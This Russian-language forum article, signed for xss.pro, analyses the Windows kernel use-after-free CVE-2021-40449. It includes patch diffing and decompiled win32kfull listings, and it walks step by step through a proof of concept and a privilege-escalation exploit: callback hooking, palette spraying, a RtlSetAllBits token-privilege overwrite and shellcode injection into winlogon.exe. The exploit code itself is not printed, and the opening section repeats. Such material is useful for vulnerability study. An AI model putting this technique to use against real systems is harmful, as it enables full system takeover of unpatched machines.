Сегодня мы разберём типичный пример узявимости Use After Free, в ядре Windows. А также проэксплуатируем её, используя типовой метод применяемый в таких случаях. Я постарался разобрать всё максимально подробно, для того чтобы при желаении, вы могли воспроизвести эксплоит сами. Файлы упомянутые в тексте статьи будут прикреплены внизу, или в итогах я оставлю ссылки на мегу.
Как и в своих предыдущих статьях упомяну, что если вы ничего не понимаете в эксплуатации уязвимостей ядра Windows, или делаете это в первый раз, то эта статья не для вас! Рекомендую начать с чего нибудь попроще, вроде HEVD и ему подобных[ссылка и ссылка]. Я не стану подробно останавливаться на том, как механизмы ядра реализованы. Статья предпологает что читатель знаком с базовыми принципами эксплуатации. Про знание C/C++ и прочего, даже говорить не стоит.
Содержание
Начать бы стоило с того, что в интернете уже есть разборы
Инструментарий
Скриншоты и анализ уязвимости были в большистве своём сделаны в Ghidra. С инструментом сравнения бинарных файлов внутри самой Ghidra у меня пока как-то не складывается. В Ghidara Book этому функционалу уделили буквально пару обзацев. Как только я разберусь с диффером внутри Ghidra, напишу статью сюда, на xss.pro. А пока воспользуемся BinDiff, все скрины со сравнениями были выполнены в нём.
На настройку окружения мы в этот раз отвлекаться не будем, для этого существует моя первая статья(ссылка) и вторая, с настройкой kdnet(ссылка).
Образцы
Эксплуатировать
В качестве пропатченой версии я выбрал
Анализ уязвимости
Предыстория
Анализ CVE-2021-40449 стоит начать с её истории. Впервые она была обнаружена как 0-day, тоесть "in the wild". Изначально её перепутали с CVE-2016-3309, но позже она была определена как 0-day. Она использовалась китайской группировкой MysterySnail, для атак на серверные версии Windows, и заражения их своим RAT. Более подробно об этом вы можете прочитать в статье на securelist(ссылка).
Уязвимость CVE-2016-3309 я уже анализировал в своей предыдущей статье, проблема заключалась в
Согласно отчёту касперсого, в CVE-2021-40449 проблема кроется в
Сравнение функций
Для начала взглянем на полный листинг декомпилятора ghidra для функции NtGdiResetDC:
При беглом взгляде на функицию становится ясно что выделений памяти в функции нет, а уж тем более вызова адреса из памяти. Внутри фукнции есть 5 вызовов:
Пока функция выглядит неопрятно, позже мы исправим это, но кое что уже бросается в глаза:
Это вызов адреса из памяти.
Теперь определимся с тем, как конкретно поисходит освобождение объекта из памяти, и как мы можем контролировать адресс lVar1 + 0xab8.
Давайте сравним две версии функции GreResetDCInternal, 1757 и 2237. Напомню что я приложил обе версии драйвера к статье, на случай если вы захотите иследовать их самостоятельно.
Скриншоты сделаны в bindiff:
Сравнение потоков выполнения функций. Слева - 1757, справа - 2237. Как видно справа на 4 блока больше. Блоки серого цвета - добавленные.
Давайта взглянем ближе:
Все 3 из показанных выше блоков, ведут в bad block:
Чтож, настало время поближе взглянуть на GreResetDCInternal. Это верся 2237 - исправленная:
В приведённом выше листинге дизассемблера, отражены те блоки которые были добавлены. Если коротко то этот код проверяет количество одновременных использованиий объекта, и в случае если объект используется больше одного раза, мы попадаем в BadBlock, где нас ждёт EngSetLastError. Логично было бы предположить, что раз в уязвимой версии такой проверки нет, то объект будет использоваться дважды.
Настал момент для полного анализа функции GreResetDCInternal. Я загрузил символы, указал типы и назвал аргументы, так что функция теперь должна выглядеть более читаемо. Кроме того я отметил все ключевые места цифрами, каждую из которых я опишу ниже:
Разберём по пунктам:
Я убрал всё лишнее, и оставил только то, что нам нужно - вызов PDEVOBJ::PDEVOBJ. Функция достаточно большая, так что я приведу лишь интересный нам кусок:
Теперь листинг для EnablePDEV:
Функция EnablePDEV представляет собой callback к фукнции DrvEnablePDEV. При желании мы можем подменить адрес DrvEnablePDEV своим хуком в пользовательском режиме - это и есть ключевой момент. Который позволит нам повторно использовать объект, освободить его из памяти и вызвать UAF.
Как же вызвать освобождение объекта и подменить вызываемый адрес в памяти? Держа всё вышесказанное в голове, пройдёмся по порядку:
Для проверки всего вышеописанного сценария, давайте напишем PoC который вызовет BSOD. Первым делом напишем шаблон:
Для того чтобы достичь функции NtGdiResetDC, нужно вызвать ResetDC(). Но перед тем как вызывать уязвимость, давайте повесим хук на callback DrvEnablePDEV. Определим функцию SetUpHook(), и найдём все принтеры в системе:
Теперь добавим цикл, который будет итерироваться по принтерам. Я отметил все важные места цифрами, ниже я опишу что делает отмеченный код:
Разберём весь цикл по пунктам:
Вот структура hooks, использованная на шаге 8:
Первое поле структуры это индекс функции, а второе - указатель на функцию. И наконец origFuncs:
Надеюсь суть понятна. Эта же функция перекочует в итоговый эксплоит, так что запомните её.
Остался последний шаг - функция fnHook:
Мы принимаем все аргументы оригинального вызова и передаем в старую функцию, сохранённую в origFuncs. Затем, в конце функции возвращаем результат оригинального вызова. По середине распологается условная конструкция if, проверяющая глобальную переменную flag. Наличие переменной flag гарантирует, что уязвимость не будет вызвана раньше, чем нам это потребуется.
Остался последний штрих - Несмотря на то что объект будет освобождён, его место не будет занято, поэтому указатель не будет переписан и останется валидным. Для того чтобы подтвердить концепцию уязвимости, нам нужно переписать старый объект. Делать это нужно сразу после повторого вызова NtGdiResetDC, тоесть прямо в функции fnHook. Для выделения объектов контролируемого размера, воспользуемся примитивом выделения палеток контролируемого размера. Плюс именно этого варианта в том, что мы можем контролировать не только размер но и содержание выделяемого объекта, запомните, это пригодится нам позже. Суммируя всё вышесказаное получаем следующую функцию fnHook:
Код вызывает ResetDCW во второй раз, освобождая DCOBJ. После этого выделяет 0x5000 палеток размером 0xe20, для того чтобы переписать только что освобождённый объект мусором.
И так вот итоговый код проверки концепции:
Запустив получившийся код, мы должны получить BSOD из за вызова невалидного указателя. Давайте проверим это.
Сперва запускаем код:
Получаем следующее сообщение в отладчике:
Как видно из сообщения, мы получили Fatal System Error, с кодом 0x139. Майкрософт пишет следующее - https://docs.microsoft.com/en-us/wi...ug-check-0x139--kernel-security-check-failure. Тоесть "corruption of a critical data structure" - Повреждение критической структуры данных.
Кроме этого, если присмотреться, видно строку 0x0404040404040404. Напомню что четвёрками мы заполняли нашу палетку:
И как результат - BSOD:
Чтож, концепция подтверждена. Настало время для разработки эксплойта!
Эксплоит
Функция RtlSetAllBits
Для начала определимся с тем, чем подменим вызываемый адрес из памяти, и вокруг этого построим весь остальной эксплоит. Типичным решением в подобной ситуации, будет адрес функции RtlSetAllBits. Давайте я подробно опишу примитив который мы будем использовать:
Функция RtlSetAllBits, устанавливает все биты в передаваемом ей bitmap. Выглядит так:
Зачем нам это нужно? А за тем, что если BitMapHeader, будет указывать на _SEP_TOKEN_PRIVILEGES, то мы сможем изменить привилегии токена текущего процесса!
Ранее, в своих статьях я не описывал подобную технику. В предыдущей статье с эксплуатацией CVE-2016-3309, мы просто достигли примитивов произвольного чтения и записи, а затем поменяли токен текущего процесса с системным. В этот раз такой трюк не пройдёт. Всё что у нас есть это вызов адреса функции и один аргумент для неё.
Если вы вниматьельно смотрели на вызов адреса из памяти в функции GreResetDCInternal, то обратили внимание на передеваемые в этот вызов аргументы:
Как видите, первый аргумент, берётся из того же объекта что и указатель на вызываемую функцию. После повторого вызова GreResetDCInternal, и освобождения DCOBJ, благодаря использованию примитива выделения палеток контролируемого размера и содержания, мы можем контролировать не только адрес вызываемой фукнции но и первый аргумент! Идеальное место для использования RtlSetAllBits.
Раз уж мы определились с тем что будем вызывать, давайте определимся с аргументом. А для этого, я чуть подробнее остановлюсь на том как работает изменение привилегий токена процесса:
Изменение привилегий токена процесса
Для начала давайте взглянем на структуру _TOKEN:
(Все структуры nt беру с vergiliusproject.com, очень полезный ресурс)
Я убрал не интересную нам часть структуры. Обратите вниманиме на поле Privileges, и на его смещение(0x40). Поле представляет собой структуру _SEP_TOKEN_PRIVILEGES:
Я запустил powershell.exe на виртуальной машине, чтобы взглянуть на структуру _SEP_TOKEN_PRIVILEGES в реальном процессе. Вот как выглядит вывод команды whoami /all:
А так выглядит структура _SEP_TOKEN_PRIVILEGES, для процесса powershell.exe:
Теперь давайте сравним _SEP_TOKEN_PRIVILEGES у процесса powershell.exe и system:
Красным подчёркнуты поля Present и Enabled у _SEP_TOKEN_PRIVILEGES системы, а зелёным - у powershell.exe. Значения полей у powershell.exe - значительно меньше.
Я заменил поля Present и Enabled для powershell на системные(изменённые поля отмечены синим). Теперь давайте взглянем на вывод whoami /all, для процесса powershell.exe с изменёнными полями:
Привилегии совпадают с системными! Надеюсь суть того, как работает техника изменения токена процесса теперь ясна.
Фейковый BitMapHeader
Осталось разобраться с ещё парой деталей, одна из них - фейковый BitMapHeader. Дело в том что в функцию RtlSetAllBits(), мы передаём указатель на RTL_BITMAP:
Для создания структуры RTL_BITMAP в памяти, мы воспользуемся примитивом ThreadName. Есть статья от автора техники, но она на английском и достаточно длинная, так что я вкратце опишу то, как это работает:
Давайте взглянем на структуру _ETHREAD:
Я убрал лишнее, оставив только ThreadName. Это указатель на _UNICODE_STRING.
Это поле в _ETHREAD, изменяется функцией
Вся функция по сути сводится к вызову
Опять же, я убрал всё лишнее. Тут нам интересен только один вызов - выделение памяти в NonPagedPoolNx, нужного размера(согласно длинне строки) и тэгом ThNm.
Тоесть при вызове NtSetInformationThread, мы можем вызвать выделение в NonPagedPoolNx, контролируемого размера и содержания. Кроме того зная размер и тэг, мы можем найти адрес полученого выделения, при помощи NtQuerySystemInformation. Вот код, который выполнит подобный поиск:
Что-ж, на данный момент мы разобрали почти все основные моменты. Остальные детали я разъясню по ходу написания. Давайте писать эксплоит!
Пишем эксплоит
Первым делом - шаблон:
Теперь получим pid и подгрузим библиоткети:
Получим адресс ntoskrnl.exe. Довольно просто метод, с использованием EnumDeviceDrivers:
Теперь найдём NtQuerySystemInformation n NtSetInformationThread. Кроме того сразу получим адресс RtlSetAllBits:
Следующим нам нужно получить адрес токена текущего процесса. Для этого сначала добавим функцию которая получая хендлер объекта, вернёт нам его адресс в памяти ядра.
Я проставил цифры в ключевых местах:
1 - Создаём объект SYSTEM_HANDLE_INFORMATION:
2 - Первый вызов NtQuerySystemInformation, нужен для того чтобы узнать сколько места надо выделить под второй SYSTEM_HANDLE_INFORMATION
3 - Второй вызов NtQuerySystemInformation
4 - Итерируемся по созданному после 2 шага объекту, ищем нужный нам элемент. В случае успеха возвращаем адрес
Возвращаемся в main и получаем адресс токена:
Настал момент создать фейковый битмап. Я уже объяснял как это происходит, но есть одна деталь которую я не упомянул:
Мы помещаем в buf + 8, адрес токена + 0x40, тоесть адрес поля Privileges из структуры _TOKEN
Теперь установим хук. Функция будет идентичная той, что мы применяли раньше:
Вызов функции SetUpHook():
Перед там как тригерить уязвимость, надо кое-что изменить в ранее использованной fnHook:
Как я уже говорил ранее, мы можем контролировать не только размер но и контент палеток. Используя эту возможность, в местах помеченных цифрами 1 и 2 мы устанавливаем в палетку указатель на фейковый битмап и указатель на функцию RtlSetAllBits.
Насталов время для вызова уязвимости:
Теперь, после изменения токена, мы можен инжектировать шеллкод в память процесса winlogon.exe. Вот функция Inject():
Вот полный, итоговый код эксплойта:
inc.h:
main.cpp:
Эксплоит готов, осталось проверить!
Проверяем эксплоит
Чтобы не раздувать число символов, я записал видео:
Ссылки
Microsoft: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449
Анализы CVE-2021-40449:
mp.weixin.qq.com
Kaspersky: https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/
ThreadName техника: https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/
Мои прошлые статьи:
Итоги
Вот такая новогодняя статья у меня получилась, надеюсь оцените. Если у вас будут вопросы - пишите в теме, или в пм, буду рад подсказать. Как я понял по количеству реакций под прошлыми статьями, тема эксплуатации ядра Windows интересная и актуальная, постараюсь писать больше содержательных статей!
Архив с комплектом win32k, я приложил прямо тут - внизу. А iso образ windows, залил на мегу (пароль местный):
mega.nz
Спасибо за прочтение,
Azrv3l cпециально для xss.pro
Как и в своих предыдущих статьях упомяну, что если вы ничего не понимаете в эксплуатации уязвимостей ядра Windows, или делаете это в первый раз, то эта статья не для вас! Рекомендую начать с чего нибудь попроще, вроде HEVD и ему подобных[ссылка и ссылка]. Я не стану подробно останавливаться на том, как механизмы ядра реализованы. Статья предпологает что читатель знаком с базовыми принципами эксплуатации. Про знание C/C++ и прочего, даже говорить не стоит.
Содержание
- Содержание
- Вступление
- Инструментарий
- Образцы
- Анализ уязвимости
- Предыстория
- Сравнение функций
- Проверка сценария
- Эксплоит
- Функция RtlSetAllBits
- Изменение привилегий токена процесса
- Фейковый BitMapHeader
- Пишем эксплоит
- Проверяем эксплоит
- Итоги
Начать бы стоило с того, что в интернете уже есть разборы
CVE-2021-40449, так что я не первый кто взялся за эту уязвимость. Однако сегодня мы сосредоточимся не только на эксплуатации, но и на анализе самой уязвимости. Я разберу все стадии разработки эксплойта подробно, и последовательно. Некоторые из разборов CVE-2021-40449 я приложил внизу, в дополнительных материалах, при желании вы можете с ними ознакомится. Также я оставлю ссылки на объяснение техник которые я сегодня использую.Инструментарий
Скриншоты и анализ уязвимости были в большистве своём сделаны в Ghidra. С инструментом сравнения бинарных файлов внутри самой Ghidra у меня пока как-то не складывается. В Ghidara Book этому функционалу уделили буквально пару обзацев. Как только я разберусь с диффером внутри Ghidra, напишу статью сюда, на xss.pro. А пока воспользуемся BinDiff, все скрины со сравнениями были выполнены в нём.
На настройку окружения мы в этот раз отвлекаться не будем, для этого существует моя первая статья(ссылка) и вторая, с настройкой kdnet(ссылка).
Образцы
Эксплуатировать
CVE-2021-40449 мы будем в Windows 10.0.17763.1757, iso файл с которой я залил на мегу и прикрепил в конце статьи. Весь комплект из win32k.sys, win32kbase.sys и win32kfull.sys я тоже прикрепил. Из них мы сосредоточим внимание в основном на win32kfull, так как в этом драйвере и распологается уязвимая функция. Одна из ключевых функций, о которой я буду говорить распологается в win32kbase, поэтому для комплексности анализа, я решил приложить весь комплект win32k.В качестве пропатченой версии я выбрал
Windows 10.0.17763.2237. В ней установлен пакет исправлений KB5006672(Ссылка). ISO образ я оставлять не стал, ограничился лишь комплектом win32k. Для полного самостоятельного анализа уязвимости этого будет достаточно.Анализ уязвимости
Предыстория
Анализ CVE-2021-40449 стоит начать с её истории. Впервые она была обнаружена как 0-day, тоесть "in the wild". Изначально её перепутали с CVE-2016-3309, но позже она была определена как 0-day. Она использовалась китайской группировкой MysterySnail, для атак на серверные версии Windows, и заражения их своим RAT. Более подробно об этом вы можете прочитать в статье на securelist(ссылка).
Уязвимость CVE-2016-3309 я уже анализировал в своей предыдущей статье, проблема заключалась в
win32kfull!bFill, внутри фукнции происходил IntegerOverflow, в результате чего в памяти выделялся куда меньший объект, чем предпологалось. Тогда мы использовали примитив _PALETTE64.Согласно отчёту касперсого, в CVE-2021-40449 проблема кроется в
win32kfull!NtGdiResetDC(ниже вы увидете что это не совсем так). В результате выполнения фукнции, при соблюдении определённых условий мы получаем Use After Free, с возможностью перехода потока исполнения к контролируемому адресу. Звучит интересно, правда? Взглянем подробнее:Сравнение функций
Для начала взглянем на полный листинг декомпилятора ghidra для функции NtGdiResetDC:
Код:
**************************************************************
* FUNCTION *
**************************************************************
undefined NtGdiResetDC(undefined param_1, undefined para
undefined AL:1 <RETURN>
undefined CL:1 param_1
undefined DL:1 param_2
undefined R8B:1 param_3
undefined R9B:1 param_4
undefined8 Stack[0x28]:8 param_5 XREF[1]: 1c0147076(R)
undefined8 Stack[0x18]:8 local_res18 XREF[1]: 1c0146fc7(W)
undefined8 Stack[0x10]:8 local_res10 XREF[2]: 1c0146fc3(W),
1c01470eb(R)
undefined8 Stack[0x8]:8 local_res8 XREF[1]: 1c0146fcb(W)
undefined8 Stack[-0x38]:8 local_38 XREF[2]: 1c0146fec(W),
1c0147037(W)
undefined8 Stack[-0x40]:8 local_40 XREF[2]: 1c0146fe6(W),
1c0147007(W)
undefined4 Stack[-0x44]:4 local_44 XREF[2]: 1c0147086(*),
1c01470b1(R)
undefined4 Stack[-0x48]:4 local_48 XREF[3]: 1c0147018(W),
1c014704c(W),
1c0147098(W)
undefined8 Stack[-0x58]:8 local_58 XREF[1]: 1c014707e(W)
0x146fc0 1486 NtGdiResetDC
Ordinal_1486 XREF[4]: Entry Point(*), 1c032a928(*),
NtGdiResetDC 1c035875c(*), 1c03719f5(*)
1c0146fc0 MOV RAX,RSP
1c0146fc3 MOV qword ptr [RAX + local_res10],RBX
1c0146fc7 MOV qword ptr [RAX + local_res18],param_3
1c0146fcb MOV qword ptr [RAX + local_res8],param_1
1c0146fcf PUSH RSI
1c0146fd0 PUSH RDI
1c0146fd1 PUSH R12
1c0146fd3 PUSH R14
1c0146fd5 PUSH R15
1c0146fd7 SUB RSP,0x50
1c0146fdb MOV R15,param_4
1c0146fde MOV R14,param_3
1c0146fe1 MOV R12,param_1
1c0146fe4 XOR EDI,EDI
1c0146fe6 MOV qword ptr [RAX + local_40],RDI
1c0146fea XOR ESI,ESI
1c0146fec MOV qword ptr [RAX + local_38],RSI
1c0146ff0 TEST param_2,param_2
1c0146ff3 JZ LAB_1c0147011
1c0146ff5 MOV param_1,param_2
1c0146ff8 CALL qword ptr [->WIN32KBASE.SYS::CaptureDEVMODEW]
1c0146fff NOP dword ptr [RAX + RAX*0x1]
1c0147004 MOV RDI,RAX
1c0147007 MOV qword ptr [RSP + local_40],RAX
1c014700c TEST RAX,RAX
1c014700f JZ LAB_1c0147045
LAB_1c0147011 XREF[1]: 1c0146ff3(j)
1c0147011 MOV EBX,0x1
1c0147016 MOV EAX,EBX
LAB_1c0147018 XREF[1]: 1c014704a(j)
1c0147018 MOV dword ptr [RSP + local_48],EAX
1c014701c TEST EAX,EAX
1c014701e JZ LAB_1c0147041
1c0147020 TEST R15,R15
1c0147023 JZ LAB_1c014704c
1c0147025 MOV param_1,R15
1c0147028 CALL qword ptr [->WIN32KBASE.SYS::CaptureDriverInf
1c014702f NOP dword ptr [RAX + RAX*0x1]
1c0147034 MOV RSI,RAX
1c0147037 MOV qword ptr [RSP + local_38],RAX
1c014703c TEST RAX,RAX
1c014703f JNZ LAB_1c014704c
LAB_1c0147041 XREF[1]: 1c014701e(j)
1c0147041 XOR EBX,EBX
1c0147043 JMP LAB_1c014704c
LAB_1c0147045 XREF[1]: 1c014700f(j)
1c0147045 MOV EBX,0x1
1c014704a JMP LAB_1c0147018
LAB_1c014704c XREF[3]: 1c0147023(j), 1c014703f(j),
1c0147043(j)
1c014704c MOV dword ptr [RSP + local_48],EBX
1c0147050 JMP LAB_1c0147072
1c0147052 ?? 33h 3
1c0147053 ?? DBh
1c0147054 ?? 89h
1c0147055 ?? 5Ch \
1c0147056 ?? 24h $
1c0147057 ?? 30h 0
1c0147058 ?? 4Ch L
1c0147059 ?? 8Bh
1c014705a ?? B4h
1c014705b ?? 24h $
1c014705c ?? 90h
1c014705d ?? 00h
1c014705e ?? 00h
1c014705f ?? 00h
1c0147060 ?? 4Ch L
1c0147061 ?? 8Bh
1c0147062 ?? A4h
1c0147063 ?? 24h $
1c0147064 ?? 80h
1c0147065 ?? 00h
1c0147066 ?? 00h
1c0147067 ?? 00h
1c0147068 ?? 48h H
1c0147069 ?? 8Bh
1c014706a ?? 7Ch |
1c014706b ?? 24h $
1c014706c ?? 38h 8
1c014706d ?? 48h H
1c014706e ?? 8Bh
1c014706f ?? 74h t
1c0147070 ?? 24h $
1c0147071 ?? 40h @
LAB_1c0147072 XREF[1]: 1c0147050(j)
1c0147072 TEST EBX,EBX
1c0147074 JZ LAB_1c01470c6
1c0147076 MOV RAX,qword ptr [RSP + param_5]
1c014707e MOV qword ptr [RSP + local_58],RAX
1c0147083 MOV param_4,RSI
1c0147086 LEA param_3=>local_44,[RSP + 0x34]
1c014708b MOV param_2,RDI
1c014708e MOV param_1,R12
1c0147091 CALL GreResetDCInternal int GreResetDCInternal(HDC hdc,
1c0147096 MOV EBX,EAX
1c0147098 MOV dword ptr [RSP + local_48],EAX
1c014709c TEST EAX,EAX
1c014709e JZ LAB_1c01470c6
1c01470a0 MOV param_1,qword ptr [->NTOSKRNL.EXE::MmUserProb = 00350fa8
1c01470a7 MOV param_2,qword ptr [param_1]
1c01470aa CMP R14,param_2
1c01470ad CMOVNC R14,param_2
1c01470b1 MOV EAX,dword ptr [RSP + local_44]
1c01470b5 MOV dword ptr [R14],EAX
1c01470b8 JMP LAB_1c01470c6
1c01470ba ?? 33h 3
1c01470bb ?? DBh
1c01470bc ?? 48h H
1c01470bd ?? 8Bh
1c01470be ?? 7Ch |
1c01470bf ?? 24h $
1c01470c0 ?? 38h 8
1c01470c1 ?? 48h H
1c01470c2 ?? 8Bh
1c01470c3 ?? 74h t
1c01470c4 ?? 24h $
1c01470c5 ?? 40h @
LAB_1c01470c6 XREF[3]: 1c0147074(j), 1c014709e(j),
1c01470b8(j)
1c01470c6 TEST RDI,RDI
1c01470c9 JZ LAB_1c01470da
1c01470cb MOV param_1,RDI
1c01470ce CALL qword ptr [->WIN32KBASE.SYS::FreeThreadBuffer
1c01470d5 NOP dword ptr [RAX + RAX*0x1]
LAB_1c01470da XREF[1]: 1c01470c9(j)
1c01470da MOV param_1,RSI
1c01470dd CALL qword ptr [->WIN32KBASE.SYS::vFreeDriverInfo2]
1c01470e4 NOP dword ptr [RAX + RAX*0x1]
1c01470e9 MOV EAX,EBX
1c01470eb MOV RBX,qword ptr [RSP + local_res10]
1c01470f3 ADD RSP,0x50
1c01470f7 POP R15
1c01470f9 POP R14
1c01470fb POP R12
1c01470fd POP RDI
1c01470fe POP RSI
1c01470ff RET
При беглом взгляде на функицию становится ясно что выделений памяти в функции нет, а уж тем более вызова адреса из памяти. Внутри фукнции есть 5 вызовов:
- CaptureDEVMODEW
- CaptureDriverInfo2W
- GreResetDCInternal
- FreeThreadBufferWithTag
- vFreeDriverInfo2
C++:
int FUN_1c0147108(undefined8 param_1,undefined8 param_2,uint *param_3,undefined8 param_4,
undefined8 param_5)
{
longlong lVar1;
longlong lVar2;
int iVar3;
longlong lVar4;
uint uVar5;
int iVar6;
int iVar7;
uint uVar8;
longlong local_78;
DC *local_70 [0x2];
DC *local_60 [0x4];
uVar8 = 0x0;
lVar4 = 0x0;
iVar6 = 0x0;
FUN_1c008daf8(local_70);
if (local_70[0] == NULL) {
EngSetLastError(0x6);
LAB_1c01b4877:
}
else {
uVar8 = *(uint *)(local_70[0] + 0x24) & 0x800;
if (uVar8 != 0x0) {
DC::bMakeInfoDC(local_70[0],0x0);
}
lVar1 = *(longlong *)(local_70[0] + 0x30);
local_78 = *(longlong *)(lVar1 + 0x6b0);
*(undefined8 *)(lVar1 + 0x6b0) = 0x0;
if ((((*(uint *)(local_70[0] + 0x24) & 0x100) != 0x0) || (*(int *)(local_70[0] + 0x20) == 0x1))
|| (-0x1 < (char)*(undefined4 *)(lVar1 + 0x28))) goto LAB_1c01b4877;
iVar7 = *(int *)(local_70[0] + 0x6c);
lVar2 = *(longlong *)(local_70[0] + 0x1f0);
iVar3 = XDCOBJ::bCleanDC((XDCOBJ *)local_70,0x0);
if (((iVar3 != 0x0) && (*(int *)(lVar1 + 0x8) == 0x1)) &&
(lVar4 = hdcOpenDCW(&DAT_1c02c54c0,param_2,0x0,0x0,*(undefined8 *)(lVar1 + 0xa00),local_78,
param_4,param_5,0x0), lVar4 != 0x0)) {
*(undefined8 *)(lVar1 + 0xa00) = 0x0;
FUN_1c008daf8(local_60,lVar4);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
if (0x0 < iVar7) {
*(undefined4 *)(local_60[0] + 0x6c) = *(undefined4 *)(local_60[0] + 0x68);
}
*(undefined8 *)(local_60[0] + 0x808) = *(undefined8 *)(local_70[0] + 0x808);
*(undefined8 *)(local_70[0] + 0x808) = 0x0;
*(undefined8 *)(local_60[0] + 0x810) = *(undefined8 *)(local_70[0] + 0x810);
*(undefined8 *)(local_70[0] + 0x810) = 0x0;
if (*(code **)(lVar1 + 0xab8) != NULL) {
(**(code **)(lVar1 + 0xab8))
(*(undefined8 *)(lVar1 + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
}
GreAcquireHmgrSemaphore();
HmgSwapLockedHandleContents(param_1,0x0,lVar4,0x0,0x1);
GreReleaseHmgrSemaphore();
iVar6 = 0x1;
}
if (local_60[0] != NULL) {
FUN_1c008ed8c(local_60);
}
}
local_78._0_4_ = (uint)(lVar2 != 0x0);
}
iVar7 = 0x0;
if (local_70[0] != NULL) {
FUN_1c008ed8c(local_70);
}
if (iVar6 == 0x0) {
return 0x0;
}
bDeleteDCInternal(lVar4,0x1,0x0);
FUN_1c008daf8(local_60);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
local_78 = *(longlong *)(local_60[0] + 0x30);
if ((uint)local_78 == 0x0) {
*param_3 = 0x0;
iVar7 = iVar6;
}
else {
iVar3 = PDEVOBJ::bMakeSurface((PDEVOBJ *)&local_78,NULL);
if (iVar3 == 0x0) goto LAB_1c0147381;
FUN_1c010a880(local_60[0]);
uVar5 = *(uint *)(*(longlong *)(local_78 + 0x9f8) + 0x70) & 0x2000000;
*param_3 = uVar5;
if (uVar5 != 0x0) {
*(undefined8 *)(local_60[0] + 0x200) =
*(undefined8 *)(*(longlong *)(local_78 + 0x9f8) + 0x38);
DC::bSetDefaultRegion(local_60[0]);
}
if (*(code **)(local_78 + 0xb98) != NULL) {
(**(code **)(local_78 + 0xb98))
(-(ulonglong)(*(longlong *)(local_78 + 0x9f8) != 0x0) &
*(longlong *)(local_78 + 0x9f8) + 0x18U,0x0,0x0);
iVar7 = iVar6;
}
}
if ((iVar7 != 0x0) && (uVar8 != 0x0)) {
DC::bMakeInfoDC(local_60[0],0x1);
}
}
LAB_1c0147381:
if (local_60[0] != NULL) {
FUN_1c008ed8c(local_60);
}
return iVar7;
}
Пока функция выглядит неопрятно, позже мы исправим это, но кое что уже бросается в глаза:
C++:
(**(code **)(lVar1 + 0xab8))
(*(undefined8 *)(lVar1 + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
Теперь определимся с тем, как конкретно поисходит освобождение объекта из памяти, и как мы можем контролировать адресс lVar1 + 0xab8.
Давайте сравним две версии функции GreResetDCInternal, 1757 и 2237. Напомню что я приложил обе версии драйвера к статье, на случай если вы захотите иследовать их самостоятельно.
Скриншоты сделаны в bindiff:
Сравнение потоков выполнения функций. Слева - 1757, справа - 2237. Как видно справа на 4 блока больше. Блоки серого цвета - добавленные.
Давайта взглянем ближе:
Все 3 из показанных выше блоков, ведут в bad block:
Чтож, настало время поближе взглянуть на GreResetDCInternal. Это верся 2237 - исправленная:
C++:
void GreResetDCInternal(ulonglong param_1,DC *param_2,uint *param_3,undefined8 param_4,
undefined8 param_5)
{
longlong lVar1;
bool bVar2;
bool bVar3;
char cVar4;
int iVar5;
int iVar6;
longlong lVar7;
uint uVar8;
uint uVar9;
undefined auStack344 [0x20];
undefined8 local_138;
undefined *local_130;
undefined8 local_128;
undefined8 local_120;
undefined4 local_118;
ulonglong local_108;
DC *local_100 [0x2];
DC *local_f0 [0x2];
uint *local_e0;
undefined8 local_d8;
undefined8 local_d0;
undefined *local_c8;
undefined local_b8 [0x20];
undefined8 *local_98;
undefined8 local_90;
undefined8 *local_88;
undefined8 local_80;
uint **local_78;
undefined8 local_70;
ulonglong *local_68;
undefined8 local_60;
ulonglong local_58;
local_58 = __security_cookie ^ (ulonglong)auStack344;
lVar7 = 0x0;
uVar9 = 0x0;
local_d0 = param_5;
local_108 = param_1;
local_100[0] = param_2;
local_e0 = param_3;
local_d8 = param_4;
DCOBJ::DCOBJ(local_f0);
uVar8 = 0x1;
if (local_f0[0] == NULL) {
LAB_1c0148226:
EngSetLastError(0x6);
bVar2 = false;
}
else {
if (0x1 < *(ushort *)(local_f0[0] + 0xc)) {
if ((0x5 < _DAT_1c030c4e0) &&
(cVar4 = _tlgKeywordOn(&DAT_1c030c4e0,0x400000000000), cVar4 != '\0')) {
local_98 = &local_d8;
local_d8 = CONCAT44(local_d8._4_4_,0x106bd);
local_88 = &local_d0;
local_78 = &local_e0;
local_68 = &local_108;
local_90 = 0x4;
local_d0 = 0x1000000;
local_80 = 0x8;
local_e0 = (uint *)((ulonglong)local_e0 & 0xffffffff00000000 | (ulonglong)uVar8);
local_70 = 0x4;
local_108 = local_108 & 0xffffffff00000000;
local_60 = 0x4;
local_130 = local_b8;
local_138 = CONCAT44(local_138._4_4_,0x6);
_TlgWrite(&DAT_1c030c4e0,&DAT_1c02d5a13,0x0,0x0);
}
goto LAB_1c0148226;
}
...
}
В приведённом выше листинге дизассемблера, отражены те блоки которые были добавлены. Если коротко то этот код проверяет количество одновременных использованиий объекта, и в случае если объект используется больше одного раза, мы попадаем в BadBlock, где нас ждёт EngSetLastError. Логично было бы предположить, что раз в уязвимой версии такой проверки нет, то объект будет использоваться дважды.
Настал момент для полного анализа функции GreResetDCInternal. Я загрузил символы, указал типы и назвал аргументы, так что функция теперь должна выглядеть более читаемо. Кроме того я отметил все ключевые места цифрами, каждую из которых я опишу ниже:
C++:
int GreResetDCInternal(HDC hdc,DEVMODEW *pdmw,BOOLEAN *pbBanding,_DRIVER_INFO_2W *pDriverInfo2,
PVOID ppUMdhpdev)
{
int iVar2;
longlong newDC;
uint uVar4;
int iVar5;
int iVar6;
uint uVar7;
longlong local_78;
DC *local_70 [0x2];
DC *local_60 [0x4];
PDEVOBJ *po;
longlong lVar1;
uVar7 = 0x0;
newDC = 0x0;
iVar5 = 0x0;
DCOBJ::DCOBJ(local_70); // 1
if (local_70[0] == NULL) {
EngSetLastError(0x6);
LAB_1c01b4877:
}
else {
uVar7 = *(uint *)(local_70[0] + 0x24) & 0x800;
if (uVar7 != 0x0) {
DC::bMakeInfoDC(local_70[0],0x0);
}
po = *(PDEVOBJ **)(local_70[0] + 0x30); // 2
local_78 = *(longlong *)(po + 0x6b0);
*(undefined8 *)(po + 0x6b0) = 0x0;
